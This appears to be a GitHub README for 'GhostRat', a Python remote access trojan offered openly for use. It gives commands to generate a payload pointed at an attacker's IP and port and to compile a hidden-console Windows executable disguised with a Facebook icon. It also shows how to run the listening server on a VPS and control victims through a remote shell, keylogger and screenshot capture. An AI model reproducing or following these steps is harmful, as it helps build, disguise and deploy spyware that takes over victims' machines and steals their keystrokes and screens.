/GhostRat

A Cross Platform multifunctional (Windows/Linux/Mac) Remote Adminstration Tools.

Primary LanguagePython

Gh0stRat

platform: cross Python: 3 Release: v3.1 lisence

A Cross Platform multifunctional (Windows/Linux/Mac) RAT.

Getting Started

Description

A cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.

Features

  • Built-in Shell for command execution
  • Dumping System Information including drives and rams
  • Screenshot module. Captures screenshot of client screen.
  • Connection Loop (Will continue on connecting to server)
  • it uses BASE64 encoding.
  • Pure Python3
  • Source File included for testing
  • Make exicuteble File .exe For Windows Client

Installation

The tool is tested on Parrot OS Kali-Linux with Python 3.8. Follow the steps for installation:

$ git clone https://github.com/Ba-hub/GhostRat.git
$ cd GhostRat
$ python3 -m pip install -r requirements.txt

Documentation

Generating Payload

You can get the payload file in two ways:

  • Source File
  • Compiled File
The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file:
$ python3 server.py generate -a 192.168.225.135 -p 2021 -o /tmp/payload.py -s

cd /tmp ==> You can Find Your Build Payload

The compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:

$ python3 server.py generate -a 192.168.225.135 -p 2021 -o /tmp/filer.py

Replace your IP Address and Port on above commands.

Manually Makeing Your Payload,Open GhostRat.py use nano, Vim Or Leafpad.


CONSTIP = "192.168.225.178" # Change IP
CONSTPT = 2021 # Change Port 


Enter Your system IP address & Port Number & Save It

Make Exicute Files For Windows

pyinstaller --onefile --noconsole --icon=Facebook.ico GhostRat.py

After Processing Complete Open /Dist Folder

Running Server

The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:

$ python3 server.py bind --address 0.0.0.0 --port 2021

Connections

All the connections will be listed under sessions command:

$ sessions

You can connect to you target session with connect command and launch one of available commands:

$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

Support

Made By : Ghosthub